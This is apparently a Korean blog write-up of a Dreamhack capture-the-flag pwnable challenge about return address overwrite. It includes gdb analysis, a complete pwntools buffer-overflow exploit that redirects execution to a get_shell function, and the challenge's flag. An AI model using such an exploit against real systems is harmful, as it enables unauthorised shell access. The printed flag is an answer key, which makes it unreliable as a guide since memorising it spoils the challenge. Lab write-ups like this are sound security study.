티스토리 뷰
이번에는 return address overwrite 문제이다. 문제 이름에도 알 수 있듯이 overwrite = 버퍼 오버 플로우
모든 문제가 그렇듯이 다운받고 압축을 해제한 다음 실행파일을 실행했다.
실행하면 Input: 하고 입력 받는 칸이 나오는데 aaa를 입력한 결과 아무런 return없이 그냥 종료되었다.
다시 실행하고 A를 많이 입력한 결과 이번에는 다른 에러 메세지를 받고 파일이 종료되었다.
Segmentation fault (core dumped) 라는 에러는 메모리 보호 기법에 의해 허가되지 않는 메모리의 접근을 방지하기 위해 나오는 오류메세지다.
gdb로 열어서 main을 확인해보자.
main+4에서 볼 수 있듯이 스택 프레임의 크기가 0x30이고 main+35 부터 scanf() 함수의 두번째로 들어가는 인자가 buf인데 rbp -0x30부터 입력을 받는다.
이 뜻은 main 스택 프레임의 시작부터 입력을 받고 있다고 해석한다.
다시 gdb을 열어 get_shell함수의 주소를 확인했다.
scanf의 이러한 취약점을 알았으니 get_shell()함수 주소를 넘겨주자.
다시 gdb을 열어 get_shell함수의 주소를 확인했다. 이제 페이로드를 작성하자.
from pwn import* #pwntools 불러오기
p = remote('host3.dreamhack.games', '15846') #당시 드림핵 접속주소
get_shell = 0x4006aa #찾은 get_shell() 함수 주소 입력
payload = 'A' * 0x30 #scanf로 받는 인자
payload += 'B' * 0x8
payload += '\xaa\x06\x40\x00\x00\x00\x00\x00'
p.recvuntil('Input: ')
p.sendline(payload)
p.interactive()
페이로드를 실행하고, ls해서 무슨 항목이 있는지 확인하고 cat flag을 사용해서 flag을 얻었다.
🔑: DH{5f47cd0e441bdc6ce8bf6b8a3a0608dc}
2023/Feb/01 solved.
'WARGAME > dreamhack' 카테고리의 다른 글
[web] - csrf-2 (0) | 2024.05.05 |
---|---|
[forensic] - Windows Search (0) | 2024.05.05 |
[pwnable] shell_basic (0) | 2024.05.05 |
[pwnable] basic_exploitation_002 (0) | 2024.05.05 |
공지사항
최근에 올라온 글
최근에 달린 댓글
- Total
- Today
- Yesterday
링크
TAG
- defcon#21
- ctf문제풀이
- cryptohack
- pwnable
- picoctf2022
- cyber talents
- 호레이쇼가 플래그를 보며…
- CTFd
- 내 친구는 이것이 특별한...
- dreamhack
- picoctf2019
- picoctf2021
- 사진 속에서 빨간색이…
- three thieves threw trumpets through trees
- find key(butterfly)
- basic_exploitation_002
- picoctf 2023
- puzzle #1: ann’s bad aim
- Digital Forensics
- 우리는 이 파일에 플래그를...
- CTF
- ctf-d
- 저희는 디스크 이미지를 찾았습니다.
- 이 파일에서 플래그를 찾아라!
- tommy는 프로그램을 작성했습니다.
- forensicscontest
- findandopen
- picoctf
- Forensics
- 원래 의미가 없는 것들도…
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
글 보관함